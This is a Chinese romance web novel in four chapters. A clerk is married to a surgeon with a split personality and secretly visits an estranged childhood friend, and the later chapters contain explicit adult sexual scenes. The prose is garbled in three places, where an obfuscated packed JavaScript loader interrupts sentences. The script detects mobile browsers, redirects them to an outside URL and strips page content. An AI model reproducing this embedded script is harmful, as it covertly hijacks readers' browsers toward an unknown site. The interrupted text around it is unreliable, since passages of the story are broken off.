《“两个老公”都是恋爱脑》 1. 医院 还没到六月,澜江市已经有点热了。 门诊室开了空调,带着消毒水味道的冷空气呛入鼻腔,卿意下意识吸了吸鼻子。 “外感风热,回去后多喝水,按照要求吃药。”医生低头在取药的单子上签字,皱眉继续,“世界上没有你说的那种药,感情问题重在沟通……” 后面的几句话卿意没怎么听清楚,瞟了眼通知栏上新进来的消息,只觉得脑袋更痛了。 [下周末有空吗?需要回趟西城院。] 西城院...... 烈日当空,阳光中混着细小的灰尘,仿佛一团看不见的雾,凝滞燥热。 卿意抿唇,回复:[你爸妈不是要去首都开会吗,这么快回来?] 片刻后,那边回了一个简单的“嗯”字。 卿意拎着开好的感冒药走出市医院,犹豫要不要答应。 她和林与青父母接触并不多,虽然两人前段时间结婚了,但二位长辈只在婚礼上礼节性地和他们家这边聊过几句。 从她中学知道林与青这个人开始,就不止一次听同学说过他父母是大人物,婚后他们从来不过问她的事情,怎么会突然让她去西城院? 许是感冒原因,卿意有点头疼,途经一家药店,余光瞥见货架上的药盒,思忖两秒后抬腿进去。 “活络油,云南白药喷雾,活血止痛胶囊……一共96块。” “帮我多拿点喷雾。” 一般来说经常干重活的人才会一次性买这么多活血化瘀的药,店员扫过眼前的女人。 她很年轻,五官也很漂亮。此刻微垂着眼,右眼皮上那块圆形的疤透着一股张牙舞爪的不和谐。 卿意大概看了看这些药的功能,抬眸时正好撞见对方匆忙收回视线,故作不知接话:“这些够了,我付下钱。” “啊......好。”店员将碎发拢回耳后掩饰尴尬。 “那个也是市院的医生吗?!” “应该是吧......”两个女生压低嗓音,从另一边的货架出来。 “我好像从来没在医院见过他。” “是不是新来的?!我天,他长得好好看啊!” 见两人走向门口,卿意主动侧身让路,打算乘地铁回单位,转身时脚步却不自觉顿了顿,条件反射般朝市医院的方向望了一眼。 “神经外科?” “嗯。”男人摁灭手机,神情没有太大起伏,径自往前走。 苏妘目光从对方戴的那枚婚戒上挪开,微微一笑:“我这几年一直在新西兰进修,国内的事情不是很了解,最近怎么样?” 林与青看了眼腕表,平静回答:“我等会有一台手术。” 空气短暂安静了几秒。 午后的热风灌满整条街道,阳光刺眼,苏妘看见几片从栾树枝叶之间洒下的光斑落到了他的鼻梁和眼睫上。 他没有变。 眉目清隽,身形挺拔修长,依旧是干净淡漠的模样,只是五官比起十七岁的时候更加成熟了。 苏妘脸上仍然带着笑,落落大方道:“有些事情想和你谈谈,晚上有时间吗?” * 医院离社保局不远,即便刚才耽搁了点时间,卿意也赶在下午上班前回到单位。 手机屏幕上显示有新消息。 [老公:在忙吗?] 半小时前发过来的,她当时在地铁上没看到,估计是想问她去不去西城院。 卿意没和他说中午去拿了感冒药,加上还没有决定好要不要跟他回去,便打起马虎眼:[还好,现在闲下来了。] 消息发送后那边一直没有回复,想起刚才看见的窈窕背影,卿意在通讯录列表翻了翻,最终在一群人里面找到银蕨叶头像。 苏妘是她的高中学姐,家世不凡,相貌出众,是那种话不多的高冷美人。 两人在一次校园活动后加了好友,由于圈子不同,后来也没有怎么聊过天,大约是在她高二的时候,苏妘很突然地出国了。 到了一定阶层里面的人多数互相认识,卿意对于她和林与青在一块并没感觉到有多意外,只是好奇这个一直在国外生活的学姐怎么又突然回澜江市了。 朋友圈内容很少,她划两下便到了底,从有限的信息里知道苏妘读的是法律。 “又和你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17525851|203493||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 老公聊天呢。” 另一个窗口的大姐走过来将手搭在她的椅子上,卿意迅速息屏。 快两点了,单位的人陆陆续续回到窗口准备上班,她还没来得及说话另一个同事插嘴道:“我这周好几次看见小卿老公下班过来,人家又高又帅,怪不得你们之前说要介绍对象小卿从来不应声。” 当初介绍过去的男生是大姐堂弟,她面露尴尬,连忙找补:“那我不是好心?我弟今年刚买的房,在市中心,快五万一平......” “你别跟我说,人家老公开的车说不定都抵的上你弟的房子了。” 几个人你一言我一语,卿意提醒“主任来了”后方才安静下来。 她在社保局算年纪比较小的那一批,入职后同事明里暗里地想牵红线,前阵子索性直接说自己已经结婚了这才清静一点。但不知道林与青哪根筋搭错了,最近非要来接她下班,一来二去的免不了被人看见,害她成了好几天的话题中心。 卿意的窗口负责社保死亡清算服务,平时办事群众相比其他窗口更少,大约是工作日的缘故,今天下午人也不多。 六点,她准时收拾东西下班,隔壁同事打趣问是不是有人在外面等着,卿意应对这种调侃时总是慢一拍,像朵被人冷不丁拍了一下的蘑菇,过了会才轻声回答:“没有啊,我先走了。” 林与青一般六点十五分过来,他的时间掐得很准,有些时候卿意觉得这是手术刀拿多了养成的习惯。因为不想再被同事议论,昨晚商量好了在前面的路口见面,现在过去大概需要五六分钟。 傍晚温度降了下来,不凉不热的风吹散了脸颊上的黏腻感。晚高峰川流不息,卿意看着一辆辆飞驰而去的黑色轿车,始终没等到有人停下来。 迟到在林与青这种规矩刻板的人身上十分不常见,中午的消息他也没有回,卿意耐着性子继续在微信上问他今天是不是要加班。 时间一分一秒过去,夜晚霓虹升起,直到接近七点对话框的消息也没有刷新,她身上还穿着单位的工作服,路过人时不时投来打量的眼神。 卿意揉了揉站得酸痛的小腿,招手拦下一辆出租车。 2. 惯例 月港别墅。 陈叔看见从出租车上下来的年轻女人,正疑惑林先生怎么没有跟着一起回来,便听见对方交代“晚饭不吃了”。 主卧在二楼,一整天来回奔波,卿意踢掉高跟鞋倒向柔软的大床。没过多久有点咳嗽,想到没有吃晚饭,她在中途把药丸板重新放了回去。 床头柜上面放着一个精致的首饰盒,上个月过23岁生日林与青送的。祖母绿纯净冰润,加上用的钻石豪镶,整套首饰显得极度不日常,卿意只在生日宴上戴过一次,后面就这样闲置了。 视线右移,中午买的活血化瘀药印入眼帘。 她的生日过去快一个月,何年从始至终没有发过一条消息。自从4月份和林与青结婚,何年就不再联系她了。 窗台正对着花园,卿意望向不远处的紫藤花,思绪如潮。 林与青进来的时候她正坐在窗户前发呆,墙面上的影子一动不动。 他抬手松了两下领带,捡起地毯上东歪西倒的高跟鞋,放回鞋架。 突兀的脚步声将卿意从回忆里拽了回来,她手忙脚乱把手里的喷雾塞到感冒药的下方,边说:“刚回来吗?” “门没有关。”林与青掠过印着药店名称的袋子,目光回落到她脸颊上,“身体好点了吗?” 虽然认识快十年,结婚也两个多月了,但二人的相处模式用“相敬如宾”就能完全概括,平时进卧室也得先敲门...... 想起今晚被莫名其妙放了鸽子,卿意不吭声当作对他的反抗。 短暂沉默过后,林与青转身倒了杯温水:“陈叔说你没吃晚饭。” 卿意瞧见了他放在一旁的东西,有些讶异:“你也感冒了?” 林男人抿唇,好看的眉随之拧起:“我路过二院帮你买的,导航坏了,在路上耽搁很久。” ...... “你迷路了?”她试探性开口,果不其然有人不接话了。 卿意莫名想笑。 高中起她就发现这位优秀到跳级的天之骄子是个路痴,而且是非常严重的路痴。 “我给你发了消息。” “下午有台手术,手机一直没有充电。” “那你——” 小腿蓦地被男人的手握住,冰凉的温度让她联想到那套奢华无比的祖母绿首饰。 卿意原本想说买感冒药直接在他的医院买不就行了,非要大老远跑去二院做什么。 “我记得你说过那双高跟鞋不太合脚。” 揉捏力道适中,右小腿的酸痛感缓解许多,她本来也不是什么记仇的人,不再计较诚实回答:“鞋子是上个月生日我妈妈送的,总得穿一穿。” 闻言,男人抬头看了她一眼。 房间只开了一盏落地灯,卿意盯着他纤长的睫毛,愈发觉得它像一把精致的小扇子。 林与青一直都很好看,皮肤白皙,鼻梁高而挺,读书的时候就是非常吸引女生的干净长相,现在则多了些成熟男人的味道。这些都是其次,她最喜欢的其实是他的嘴唇,凉凉的,也很软...... 想到这里,卿意口干舌燥,喉头忍不住吞咽了一下,紧接着更深层的渴望涌了上来,身上的每根血管仿佛都在被一点点地啃噬,又酥又麻,她赶紧喝了点水压下生理/反应。 “好点了吗?” 见她不说话,林与青组织好语言:“抱歉,我明天会准时。” ......不知道为什么,只要和他待在一起卿意就会情不自禁胡思乱想,否则也不会在大二就稀里糊涂地和他做了,导致后面发生一系列糟糕的事情。 此刻她竭力控制住自己,但他还要一直说说说,弄得她气血翻涌。 以为她生气了,林与青安静下去,片刻过后想按另一条腿,手刚伸过去,鼻梁冷不丁被什么东西撞到。 这一撞让卿意偷鸡不成蚀把米,疼得慌忙捂住自己的嘴,看见他望了过来,窘迫地扭过头去,装作若无其事又灌进大半杯水。 这个角度林与青只能看见她通红的耳垂。 良久,他似乎反应过来了,极淡地笑了一下:“还痛吗?” 四目相对,卿意依然很想亲他。 这种欲望出于最本能的原始冲动,她也的确这么做了。 林与青被压倒在地毯上,出于习惯,他将臂弯里的女人搂到身前。 卿意以为这个姿势是要和她接吻,于是立刻低头凑过去。 西服上面有淡淡的消毒水气味,再往上,衬衫领口附近才是他身上的味道,像雪,并非香味,而是一种十分清新冷冽的气息。 她把脸蛋埋进男人颈窝,小声唤了句“老公”。 和想象中一样,男人温柔地轻揉她的耳垂,由于常年握手术刀,他的指腹带着一层薄茧,卿意呼吸战栗,情不自禁贴着他的脸颊蹭了蹭,像两只毛茸茸抱团取暖的小动物那样...... 她很想/要了。 卧室温度逐渐升高,林与青矜持地吻她的唇,接着起身把怀里的女人抱回椅子上。 卿意双瞳剪水,直勾勾盯着男人的眼睛,期待他的下一步动作,漫长的等待过后,却只听见对方说“昨晚做过了”。 ...... 她呆滞了一下,视线跟随他看向床头的日历—— 下一次是后天。 两人一般一周三次,相比于一时兴起在地毯上做,林与青显然倾向于更正式的氛围。 比如提前备好红酒,在浴缸里放好热水、精油和玫瑰花瓣,然后在卧室放上一首《降E大调夜曲》,等她从浴室出来。 看着面前平静的男人,卿意面红耳赤,带着羞恼将滑落到右肩的睡衣扯了回去,接着陷入熟悉的无言以对状态。 “怎么了?”林与青伸手拦住面露愠色的女人,再次将她揽进怀抱。 卿意深吸一口气,摇摇头:“没有,我去洗澡。” “我让人送点吃的上来。”林与青没多想,和往常一样去衣帽间拿换洗衣物。 这副无事发生的模样令卿意好不容易平息的怒火再次腾起,难道以后都要她说自己想上/床才能做吗..... 对着林与青,这种话她根本说不出口。 卿意快步从他手里夺过自己的浴袍,转身时不忘偷偷用力踩他一脚,然后头也不回地走向浴室。 别墅外围有一片森林,初夏树木清涩的气味穿过百叶窗,卿意枕着浴缸边缘,侧头望向蓝调的夜空。 她其实不止一次想过当初答应结婚是不是太过冲动,明明他们的生活习惯、性格爱好甚至连床上需求都没有磨合好,可如今木已成舟,她更加不敢随便提后悔,害怕他的精神—— 要是大三没有发生那件事就好了。 拉上窗纱,她缓缓沉入水底,感受身体重力与水面浮力的对抗,下坠又被托举回来重见天日的感觉让人上瘾,直到眼眶干涩发疼,她才喘着气从水里出来。 卿意在浴室里待了很久,具体时间不太清楚,反正出来的时候林与青也洗了澡,穿着一身暗灰色睡衣靠床翻阅一本无聊的财经杂志。 听见棉拖的声音,林与青抬起眸,沉静的目光中多了几分审视。 巴掌大的脸,沐浴过后双颊透着薄薄的粉色,像一颗半熟的蜜桃,她的模样和中学时相差无几。 他们相爱很久了。 林与青扫了眼床头柜上那几盒不知道给谁的喷雾,放下刊物提醒:“刘阿姨煲了汤,喝完再吃感冒药。” 卿意没有进食欲望,甩下一句“不要”后掀开被子躺进被窝。 她背对着对方,脸蛋挨着枕头没多久便开始犯困,半梦半醒间感觉有人拨开她的头发,探了探额头。 “有点发烧。” “嗯。”她感觉冷,迷迷糊糊把脑袋缩到被子下面,过了一会被男人翻过去,额头上也多了一个凉凉的东西。 卿意后知后觉睁开眼,看见他在调整退烧贴的位置,下意识询问:“你爸妈让我们回西城院干什么?” 男人水润的嘴唇一张一合,好像说了什么,她胡乱应了两声,然后习惯性钻进他的臂弯。 第二天醒过来身 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17525852|203493||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 边已经空了,卿意隐约记得昨晚他说要和什么人吃饭,所以下周末需要回西城院......其实她原先还打算问问苏妘的事情,但怕说出来显得自己没事找事。 卿意揉了揉眉心,也不知道什么时候躺到了对方的枕头上。她挪回自己的位置,快八点了,医院上班时间比较早,大多数早晨她都见不到林与青。 [退烧了,记得吃感冒药。] 卿意伸手把便签拿过来,字迹端正漂亮,和他这个人十分相像,她看了会,翻身时嗅到头发上沾染了他的味道,内心升起一种奇异的感觉。 她并不反感或者讨厌林与青,甚至某些时刻会产生强烈的好感,比如现在。但这并不妨碍他是一个规矩古板到无趣的人,让她时常觉得自己像隔着玻璃柜观赏一件完美无瑕的艺术品。 卿意把折叠好的便签丢进存钱罐,用完早餐换上工作服去上班。 窗口工作要求多,容易受气,但其他岗位她的专业报不了,今年年初偷偷摸摸报考的,某人知道后想让她去其他地方,卿意没答应。 刚开始接触销户、办理丧葬费之类的死亡业务,她连续做了好几周的噩梦,半夜吓醒被林与青问东问西又拉不下脸面明说,直到入职好几个月才渐渐适应。 上午十一点左右,窗口来了对中年夫妻,带着一个十四五岁的男孩。 卿意照例接过递来的资料,是给一位去世的老人办理社保退费和丧葬费。 之前见过太多父母给孩子办业务的,那些时候她总是小心翼翼,不知道该说什么来缓解家属“白发人送黑发人”的悲恸,碰到这种正常的生老病死反而能更自然一点。 余光瞥见那对夫妻有说有笑,再面对复印纸上老人的黑白相片时卿意感到一阵难受,她调整好情绪,将流程正常推完。 “大概1-2月左右会有短信通知您领取。” “好,好的。”中年男人把文件塞进妻子手里装菜的袋子内,朝愣在旁边的男孩大吼,“还傻站着干什么!!不知道帮你婶婶提东西?!” 男孩还是不动,被连骂带踹好几下后才麻木地接过那个装了文件的袋子。 三人离开窗口后,旁边的同事看热闹似的凑过来:“刚才那个男孩子啊是我女儿的同学,父母早些年去世了,后面跟着爷爷生活,就前阵子的事情,老爷子也生病走了,现在只能丢给叔叔。” 说罢,她冷嗤一声:“这家人留的钱不知道有多少会落到他们儿子、孙子身上......跟着叔叔婶婶以后怕是有苦受的。” 卿意蓦地一个激灵,想也没想接话:“说不定他自己也可以生活的很好。” 同事只当她是好日子过惯了,取笑道:“怎么生活?人家未成年,不要读书上学了?” 读书上学......何年15岁的时候就辍学了。 见窗口重新来人,同事转回去接待办事群众。 好不容易挨到午休时间,对着接近两个月没有得到恢回复的消息,卿意在输入框删删减减,害怕被拒绝,索性不再问,直接打下一行字:[周日我去找你。] * “加班?” “同事明天家里有点事。”卿意快速瞟了眼餐桌对面的丈夫,“比较紧急,所以拜托我帮她值班。” 他没有立刻回答,反而慢条斯理盛了碗鱼汤放在她桌前,卿意害怕被看出端倪,赶紧补充:“以后不会了,应该只有这一次。” 林与青敛眸,扫过女人微微颤抖的睫毛,平静道:“晚上我去接你。” 见他没有产生怀疑卿意稍微安心了点,示好一般将汤匙送到对方嘴边:“不麻烦你,今天的汤好鲜,要不要尝尝?” 男人一言不发,淡色的瞳孔在水晶灯下莫名瘆人,直到她的手腕有点酸了,他才接过汤匙轻轻“嗯”了一声。 隔天,气温几乎快要飙升到三十度。为了不露馅,卿意按照往常的上班时间出门,进车后朝丈夫挥手说再见。 林与青目送轿车离开,原地站了一会后唤来陈叔:“去问问李主任这段时间夫人的工作安排。” 3. 矛盾 将人送到社保局,司机掉头回别墅,确定车已经走远卿意才敢搭乘城际大巴前往上寒村。 车上只有三三两两几个老人,她挑了一个靠窗的位置,坐下解锁手机。 何年还是没有回复,昨晚一直在想这件事卿意没怎么睡好,现下面对空空如也的聊天界面,她打消告诉对方自己在路上了的念头。 大约过去半小时,大巴驶离市中心,窗外的高楼大厦被一片片青翠稻田代替,卿意不知不觉睡了过去,直到被一阵剧烈的颠簸晃醒。 睁眼,车到了岭山的环山公路上。 她眯了眯眼睛,下意识眺望对面山顶方向,那几株映山红果然还开着。 许多年前他们要从那座山的悬崖边上去学校,崖面青白色的岩石裸露在外,底下是废弃的采石场,她每次都担心自己脚滑不慎滚下去。 何年不害怕走山路,他总是站在她的外边,也不说话,沉默得像山谷里无声的风。 自从父母把她接回去后,卿意已经很久没有再回到这个地方,她不喜欢这座山也不喜欢这个村落—— 可她实在放心不下何年。 摇摇晃晃又过去一个小时,终于在十一点左右到达上寒村村口。 十多年过去,村子看着比以前荒凉很多,日头正盛,土路上没有人,她凭借记忆往他家那边走。 道路两旁大部分房屋都空了,房前杂草丛生,冷冷清清。 印象里姨妈一家也是在前几年迁走的,卿意离开村子前被他们诬陷过偷钱,后面她便屏蔽了所有关于这一家人的事情。 爬过一段上坡路,她瞧见不远处的两层泥砖房,土屋前打扫得干干净净,外面用电线牵起来的晾衣绳上还挂着衣服,卿意平复呼吸,抬手擦掉额头的汗滴。 越靠近心情越复杂,她在田埂上徘徊好一会,直到路过一个打农药的大爷问她是哪家的女儿,卿意支支吾吾随便答了两句,然后才硬着头皮继续往前走。 木门上了锁,喊了几声没听见回应,她犹豫要不要发消息或者打电话问问,瞥到台阶上的篾条瞬间明白他去了哪里。 找去后山的时候,他正在除坟上新长出来的野草。腰上系着条掉了皮的皮带,双腿遒劲有力,许是天气热的缘故,上衣脱了丢在一旁的树枝上,宽阔的后背对着她,手臂肌肉在用力的情况下微微鼓起,线条流畅而利落。 卿意还没开口说话,他先望了过来。 五官轮廓坚毅分明,小麦色的皮肤牢牢贴着骨骼,面无表情看人时显得有点凶狠。 “何年......”一上午没喝水,她的声音有点哑。 男人冷漠地瞥了她一眼,继续弯腰除草。 正午的太阳又烈又晒,卿意跟块木头一样杵在他身边,没过多久便感觉身上的衬衫被汗浸透了,还有蚊子一直在咬她。 大概等了二十分钟,见他始终不搭理自己,她小声道:“何年,我渴了。” 对方仿佛没有听见,抱起地上一堆野草丢进前面的茶树林。 卿意没再说什么独自走到一旁的大树下躲荫。没一会儿他回来了,扯下树枝上的衣服,也没管她还在树底下待着,径直离开。 记忆中何爷爷是在她14岁的时候病死的,他们家没钱治,没等几个月人就死在了担水路上。老人性格好,和谁都能聊上几句,葬礼那天连平时没多少交集的村民都去了。 卿意扭头看向那座坟,鼻子不自觉发酸,拜过后快步跟上前面的男人。 一前一后,这段路上他们像两个陌生人。 泥砖房为数不多的好处之一便是冬暖夏凉,她轻车熟路找到水壶,喝过水后浑身总算舒坦了点,随后重新倒了一杯,端到堂屋却没看见人,在外面逛了一圈后瞥到菜园里那抹黑色身影。 虽然他一直不理不睬的,但两人毕竟认识十多年了,卿意主动凑过去摘下一根黄瓜,边问:“我们中午吃什么?” 何年扫了眼递过来的水杯,蹙着眉峰从她身边走过去。 卿意像个小尾巴一样跟在他后面,偶尔拽两根豆角,偶尔扯一个辣椒,放进他提着的菜篮子里。 与此同时,搁在老方桌上的手机第二次响起,跳动的旋律在堂屋内显得尤为急促—— 来电显示[老公]。 另一边,月港。 第二次拨过去的电话仍旧无人接听,林与青背靠窗台,目光落在对面的婚纱照上。 是从哪一天开始的? 也许是前两周,追溯到更远的话可能是她过生日之后。 她似乎有心事。 偶尔提及过去的事情便会走神,时常对着手机发呆,等他走近却又躲躲闪闪,半夜睡觉也不像之前安稳...... 还有那袋被她今天带走的活血化瘀药,是为谁备的?她没有去单位,会去哪里? 林与青揉了揉刺痛的太阳穴,担心她是不是遇到了麻烦。 他是卿意的丈夫,理应帮她分担烦恼,但他的工作一直很忙,所以想通过下班接送增加彼此的相处时间,如果有问题也可以和他倾诉。 可是她什么都没有提起过。 林与青忽然想起前天晚上做/爱的时候她不让他把车停在单位门口。 一时理不清头绪,恰好此时手机震动了一下—— 不是她的头像。 他忽略苏妘发过来的消息,拧着眉点开顶端通知栏的推送。 [2楼:恭喜啊楼主,你老婆可能有别的老公了。] [3楼:(链接:女人出轨的五种表现)] [4楼:渣女出轨了呗,还搁这问问问,受不了这种装傻充愣的**] [5楼:大家别管他了,根据我的经验这种人已经是没救了。] ...... 林与青给楼主回复的[不可能的,我们感情非常好]点赞,猜测卿意也许正在吃午饭,打算晚点再打电话过去问问。 晌午,万里无云,蔚蓝色的天空像一池倒置的海水,蝉鸣声空灵悠远,将四周衬得愈发寂静。 乡下的饭没多少讲究,方桌上两碗蔬菜和一碗腊肉,卿意还在慢吞吞夹菜,对面的男人几下就吃完了。 “你去哪?”她歪头将人叫住。 何年顿了顿,过了会才闷闷吭声:“楼上,吃完饭把碗筷放那。” 卿意还以为他打算一直装哑巴,见状立刻点点头应下。 她看了眼墙壁上挂钟的时间,懒得带手机,吃完饭后直接从堂屋后面去楼顶。 屋顶上晒了一大片稻谷,他正用竹耙翻面,现在不是丰收的季节,不知道是不是往年的谷子。 骄阳炙烤下,空气中弥漫着谷物的清香以及阳光的味道,卿意坐在门槛上,支着脑袋,视线随着高大的身影移动。 风吹过,一只麻雀立在卫星锅上面,一切静谧祥和。 卿意靠着门睡着了。 她梦见刚到姨妈家寄住的那段日子,姨妈家的菜园在何家下面那块地,她去摘菜的时候总能碰到何年,11岁的他总是脏兮兮的,也不怕疼,能徒手掰下好几个秋葵...... 长梦如昨,等她再醒来时发现自己躺在堂屋的竹床上,一看挂钟,下午四点了。 卿意坐起来揉了两下脸颊,意识仍然有点混沌:“怎么不喊醒我?” “你睡着了。” “......”她看向门口的竹篾和编了一大半的箩筐,下床把带过来的药递给他,“还在镇上的工地干吗?” 男人垂着眼皮,专心手上的活:“这两天停水,没去。” 从前搬玉米、挖土方之类的农活能用到竹筐,何爷爷也是靠编这个谋生的,但现在时代不一样了,卿意清楚劝他也不会听,转身把药搁在凳子上:“我昨天买的。” 何年抬头,对上她的目光,语气里没有太多情绪:“你的手机响了好几次。” 卿意一愣,再反应过来,他低下了脑袋继续忙碌。 她摁亮手机,看清来电人后想回拨过去,视线触及门口的身影,犹豫过后起身去菜园。 四点多太阳还没下去,卿意站在屋檐下拨通林与青的电话。五六个未接来电, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17525853|203493||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 也不知道是不是家里有什么事情。 “喂,老公?” “嗯。”平静悦耳的声音从听筒那边传过来,“现在接电话会不会影响到工作?” “不——”卿意睡迷糊了,下意识想说“不会啊”,过了会才想起来自己现在还是在单位值班的人设,于是赶忙接上话,“我正好在洗手间,今天比较忙,前面的电话没接到。” “今天一直都在社保局吗?” 卿意眼皮猛地一跳,不清楚他话里的意思,讪讪道:“对啊,人很多呢,我这个窗口排了两个队伍。” “我想等会接你回家,然后去商超买点菜。”男人不紧不慢地补充一句,“我们有段时间没有下厨了。” 卿意揪着砖石缝里长出来的狗尾巴草,忐忑不安回绝:“今天好累,下周末再一起可以吗?” 一阵漫长的沉默后,他才回答:“早点回家。” “好的。”见对方没有挂断的迹象,卿意好不容易放下去的心又提了起来,“还有其他事情吗?老公。” “没有。” “那我挂了。” “嗯。” “嘟”的一声提示音,电话挂断,卿意轻吁一口气,从菜园边绕回正屋,在转角看见何年站在台阶前面抽烟。 眼见她过来,男人掐了烟,顺带把烟盒塞回裤兜,注视着她的脸:“林与青打过来的?” 卿意不想在他面前提有关林与青的事情,没回这句话而是说起正经事:“什么时候跟我去市里?” 何年习惯了她这种不加商量的语气,从小到大她在他面前都是这样,但他知道她对那个人不是,以前他觉得是因为他们认识得早,彼此亲近,但这些差异在她结婚后无疑成了一种讽刺。 “我去那里干什么?”他沉着脸,扭头不再看她。 “村里没几个人了,去市区生活最起码我可以经常——” “为什么和他结婚。” 卿意心脏倏地一颤。 她努力想解释点什么,父母要求的?顺其自然?还是其他的......在一阵徒劳的斟词酌句后,她终究什么也没能说出来。 何年望向远处连绵不断的山脉,山头的光线逐渐黯淡,再远的地方看不清了。 他掏出裤袋里的烟盒,叼了根烟低头点上,随后沉沉地吐出一个烟圈。 “你走吧。” “以后不用再来了。” 说罢,他转过身径直回堂屋。 红日渐渐西坠,傍晚的风已然带着凉意。 卿意坐上最后一趟城际大巴返回市区,车上乘客比早上多出好几倍,大都是一家人,也许是回老家刚探望完亲人。 夕阳火红,在山路尽头慢慢隐落,车上的人不约而同看向窗外。 她曾经看过无数次这样的日落,现下没有闲情逸致欣赏,将输入框里的内容删除,然后闭眼休息。 回到月港接近7点半,有点晚了,卿意正愁该怎么和林与青交待,转眼就看到陈叔如释重负般朝她快步走过来,“您终于回来了,林先生他又......” 听见“又”字她大概猜出来了是什么事情,皱眉问道:“其他佣人都走了吗?” “已经走了。” “好,陈叔你也回去休息吧,我来照顾他。”月港之前没有主人,陈叔在他们住进来之前一直是这里的管家,他工作勤恳负责,做事也极有分寸,卿意很放心。 一楼客厅没看见人,卿意转去二楼卧室,林与青向来是个非常注重隐私的人,但此刻主卧的门却大敞着—— 画板架在窗台前面,调色盘上的颜料用的七七八八,看上去应该画了有一会。 “林与青。”她轻声唤了句。 闻言,男人回过头,看见站在门口的人顿时眼前一亮,立刻丢下画笔阔步过去。 卿意还没反应过来就被打横抱起,紧接着整个人被对方压在小小的单人沙发上。 他像只热情洋溢的大狗狗,来回蹭她的下巴和脸颊,低声抱怨:“亲爱的你终于回家了,我好寂寞。” 4. 第二人格 这种情况在过去的几年里出现过许多次,不定时的,她也不知道哪天晚上林与青会突然换个人格。想到自己白天骗了他,何年也不肯再见她,卿意仿佛又回到了大二那个分界点上,再一次做出了伤害所有人的选择。 “心情不好吗?”男人轻轻戳了戳她的脸颊。 见他顶着张冷脸做这个动作,卿意一时没忍住笑了下:“你先起来,压到我——” 话还没说完,她被搂住强行换了个位置,从刚才的压在沙发上变成了躺在他身上...... “过来吧,我知道你心情不好。”他张开双臂,做出拥抱的动作。 这个林与青主动、热情,让人忍不住想要靠近汲取安全感,卿意勾住他的脖子,顺势将身体蜷缩进对方的怀抱。 “是不是有人欺负你?” “没有......”卿意摇头,不断滋长的内疚在这一刻到达顶峰,她抬起手,有样学地样也捏了捏他的脸颊,“对不起,林与青。” 男人淡色的瞳孔中闪过一缕茫然,片刻后,他再一次认真地拥抱她:“我们都会原谅你的,卿卿。” 卿意闻到了他身上的味道,好闻的、淡淡霜雪的气息。 她清楚现实中的林与青没有原谅她,否则也不会单单遗忘那一段记忆并且分裂出第二人格。 他们的婚姻从特定角度来看算是她的“罪有应得”。 无论如何都是从同一个人嘴里说出来的,自欺欺人也罢,卿意多少有被他的话宽慰到,心情有所好转:“是不是等很久了?” “不知道他等了多久,但我在的时候就在等你了。” 这个人格知道主人格的存在,卿意探头瞅了眼餐桌,不禁蹙眉:“还没吃晚饭吗?” 身上的工作服紧贴身体,随着大幅度动作勾勒出一道圆润饱满的弧度,她没察觉到什么,只是自责在路上浪费太多了时间,不然可以准时回家的。 “下次我回来晚了你就先——” “嗯”一声压抑的轻呼从卿意唇边溢出,她连忙捂住嘴,面红耳赤推开他的手臂,“别......” “现在可以吃我的晚餐了。”男人揽着她背靠沙发坐起身,一边热烈地吻她的下巴和脖颈,一边解开剩下的几颗纽扣。 接着,他低下头,将整个脸颊埋进柔软的沟壑之间。 带着体温的馨香,她的内衣、浴巾和睡衣上都有这股香味。 卿意被对方的头发丝挠得痒,左躲右闪间衬衫滑到了腰间,紧裹着的束缚也被一把推了起来,她微微后仰,双手撑在两边稳住身形:“好了......别咬我......” “没有咬。”他的耳根红通通的,一阵滚烫的气息伴随贴近钻进卿意的耳廓,“你才总是喜欢咬我,每次都差点断在——” 卿意用力拧了一把他的大腿,将后半句荤话打断。 两人纠缠了小半会,她今天脑子很乱不太想做,但不知道他从哪里拿出一支画笔。 “消过毒了,更软一点。” 沾了水的画笔慢慢滑过胸脯、肋下.....然后停在小腹前暧昧地打圈,卿意又麻又痒,想让他别再闹了,嘴巴刚张开,便被对方勾得伸出舌头和他接吻...... 高大的身躯伏跪在沙发上,卿意情不自禁揪紧他的黑发,像块被一点点舔干净的奶油,最终融成粘稠的一滩。 ...... 一阵痉挛后,她没有力气去思考了,就这样软绵绵地躺着,没过一会被男人的长臂揽过去。 看见他嘴唇上还残留着水痕,卿意闭上眼睛不好意思多看。 “你害羞了?” 大约是见她不搭理,他又掐了掐卿意腰肢上的软肉,实在被弄得痒,她掀开眼皮嗔了声:“别动手动脚的。” “我看那本日历上你们经常做,他都不帮你吗?”他支起脑袋,懒洋洋地问。 ...... 卿意哽住了,面对面前这张完美无瑕的脸莫名有种被看进心底的错觉。 